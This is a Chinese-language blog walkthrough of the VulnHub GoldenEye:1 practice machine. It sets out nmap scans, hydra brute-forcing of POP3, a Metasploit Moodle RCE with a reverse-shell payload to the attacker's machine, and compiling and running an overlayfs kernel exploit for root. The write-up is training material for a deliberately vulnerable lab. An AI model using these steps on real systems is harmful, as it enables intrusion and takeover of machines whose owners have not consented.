GoldenEye打靶思路

前言:

​ 好久没打靶了,决定开始练习打靶技巧。

准备:

靶机地址:GoldenEye:1 ~ VulnHub — GoldenEye: 1 ~ VulnHub

下载镜像,从Vm打开,给靶机设为NAT模式

开打:

主机发现:

扫描kali下的整个c段,可以用老方法,先关闭靶机扫一次,再开启扫一次,多的就是靶机

sudo nmap -sn 192.168.200.128/24

发现目标靶机地址:192.168.200.134

访问一下看看

没问题

端口扫描:

sudo nmap -min-rate 10000 192.168.200.134

可以看出开放了25端口和80端口

进一步扫描这几个端口

sudo nmap -sT -sV -sC -O -p25,80 192.168.200.134

扫一下这两个端口有没有可用的漏洞

sudo nmap --script=vuln -p25,80 192.168.200.134

Web渗透

先看80端口吧

就是我们之前访问的地址,全英文,有点难看,直接开沉浸式翻译看一下

访问/sev-home/有一个登录框

弱密码爆不出

我们查看主页有没有信息泄露,有一个terminal.js,看看有什么

沉浸式翻译一下

可以发现这一有一段话,人名有两个,一个是Boris,另一个为Natalya。

密码为InvincibleHack3r

用HTML编码解码可以得到

不过我用沉浸式翻译在翻译的时候好像自己给解码了,密码为InvincibleHack3r。

用得到的用户名和密码区登录试一试,这两个都不行,然后试试全小写的,boris用户登录成功

看意思是说我们需要使用pop3服务,但是他没有使用默认的110端口运行,我们先找到他们把pop3服务配置到哪里了。

之前没有扫描全部的端口,我们现在进行全端口扫描

sudo nmap -p- 192.168.200.134

发现两个新端口55006和55007

查看这两个端口的详细信息

nmap -sS -sV -T5 -A -p55006,55007 192.168.200.134

-sS :使用nmap的 SYN 扫描

-sV :使用nmap的 服务版本 检测

-T :nmap的扫描速度 1-5个级别

-A:启用高级扫描选项

可以看到就是这两个端口支持pop3服务

在查看网页的源代码时我们还发现了一段话

Qualified GoldenEye Network Operator Supervisors: Natalya Boris

也就是说用户名还是这两个

pop3

将用户名写入文本中

echo -e 'natalya\nboris' > pop3User.txt

使用hydra爆破密码

hydra -L pop3User.txt -P /usr/share/wordlists/fasttrack.txt 192.168.200.134 -s 55007 pop3

等待几分钟

爆破出natalya的密码为bird,boris的密码为secret1!

先登录一个看看

nc 192.168.200.134 55007 连接邮箱

user boris 用户名

pass secret1! 密码

登录成功

list可以查看邮件数量

分别使用retr 1~3可以查看邮件内容

分别翻译一下

第二封是natalya发来的

第三封邮件出现一个人名Xenia,并且知道对方把GoldenEye的最终代码藏在服务器根目录的隐藏文件中

查看另一个人的邮箱

分别翻译一下

又有用户为Xenia的密码,尝试登录查看邮件发现登录失败,爆破密码也失败。

继续Web渗透

尝试按照邮件配置本地域名解析

sudo vim /etc/hosts

在最后添加一行

192.168.200.134 severnaya-station.com
在kali中的火狐里访问 :http://severnaya-station.com/gnocertdir/

点击Intro to GoldenEye

用之前给的用户名和密码登录试试

成功登录Xenia用户

查看Message,有一条未读信息

查看信息内容

翻译一下

得到一个新的邮件名doak

回到pop3

尝试爆破密码

成功爆出密码为goat

依旧登录查看邮件

翻译一下

回到Web

登录这个账号密码

点击My home,发现右上角有一个隐藏文件

下载s3cret.txt

打开内容直接翻译一下

给了一个图片路径,可能里面有admin用户的密码,大概这个意思。

访问一下

picked up a left access key ,估计密码就在其中,可能是图片隐写。

用strings查看图片中的字符串

strings命令 在对象文件或二进制文件中查找可打印的字符串。字符串是4个或更多可打印字符的任意序列,以换行符或空字符结束。

发现一串base64编码的字符 eFdpbnRlcjE5OTV4IQ==

在线解密

密码为xWinter1995x!

登录admin用户

可以发现这个管理系统名为Moodle,版本为2.2.3

去搜索历史漏洞可以发现存在rce

getshell

上msf

1
2
3
msfconsole
search Moodle
查看历史漏洞

1为我们需要的

1
2
3
4
5
6
7
8
9
use 1
show options ---查看需要的参数
set username admin ---设置用户名:admin
set password xWinter1995x! ---设置密码:xWinter1995x!
set rhost severnaya-station.com ---设置:rhosts severnaya-station.com
set targeturi /gnocertdir ---设置目录: /gnocertdir
set payload cmd/unix/reverse ---设置payload:cmd/unix/reverse
set lhost 192.168.200.128 ---设置:lhost 192.168.200.128,为kali的ip地址
exploit ----执行命令

此时遇到问题,有一个failed,并且别人没碰到过

解决方法参考:Metasploit(msf)

只需更新msf即可

1
2
3
4
更新Metasploit
1、apt-get update
2、apt-get install metasploit-framework
3、reboot(重启kali)

再打一次,正常了

还是报错,因为还有页面的配置需要修改,默认使用的是Google Spell,改为PSpellshell,并且save changes

再打一次

成功了

或者可以试试手打exp:Moodle - Remote Command Execution (Metasploit) - Linux remote Exploit

shell

没权限

提权

使用内核提权,uname -a 查看系统版本

我们查看上exploit-db.com寻找一下

用第二个

weget下载下来,并且gcc编译

没有gcc说是,那我们改用cc吧

cc 是 Unix系统的 C Compiler,一个是古老的 C 编译器。而 Linux 下 cc 一般是一个符号连接,指向 gcc;可以通过 $ ls -l /usr/bin/cc 来简单察看,该变量是 make 程序的内建变量,默认指向 gcc 。 cc 符号链接和变量存在的意义在于源码的移植性,可以方便的用 gcc 来编译老的用cc编译的Unix软件,甚至连 makefile 都不用改在,而且也便于 Linux 程序在 Unix下 编译。

c代码我们也需要修改,因为里面也有gcc

先在kali里面修改一下先,重命名exp.c

在kali当前目录上起个python服务

靶机上wget一下

wget http://192.168.200.128:8081/exp.c

cc编译一下

cc -o exp exp.c

chmod赋权

chmod +x exp

执行exp

./exp

id查看权限

执行命令

ls /root/.*可以发现flag.txt

cat /root/.flag.txt

得到一个uri,访问就结束了

这张图片应该是1995电影007黄金之眼的剧情

此外还有一串md5:568628e0d993b1973adc718237da6e93

解出来是006

总结

感受

一个很有意思的中等难度靶机

收获

学会了hydra(九头蛇)爆破pop3,以及pop3中的user,pass,list,retr命令

图片隐写,通过strings命令查看隐藏字符串

Moodle 2.2.3的getshell,不过还是没了解原理,比如为什么改配置为PSpellshell

linux 3.13.0的提权的方法原理参考:CVE-2015-1328 Ubuntu 12.04, 14.04, 14.10, 15.04 overlayfs Local Root - 郑瀚 - 博客园

不存在gcc时使用cc编译c代码


GoldenEye打靶思路
http://example.com/2024/12/09/GoldenEye打靶思路/
作者
piiick
发布于
2024年12月9日
许可协议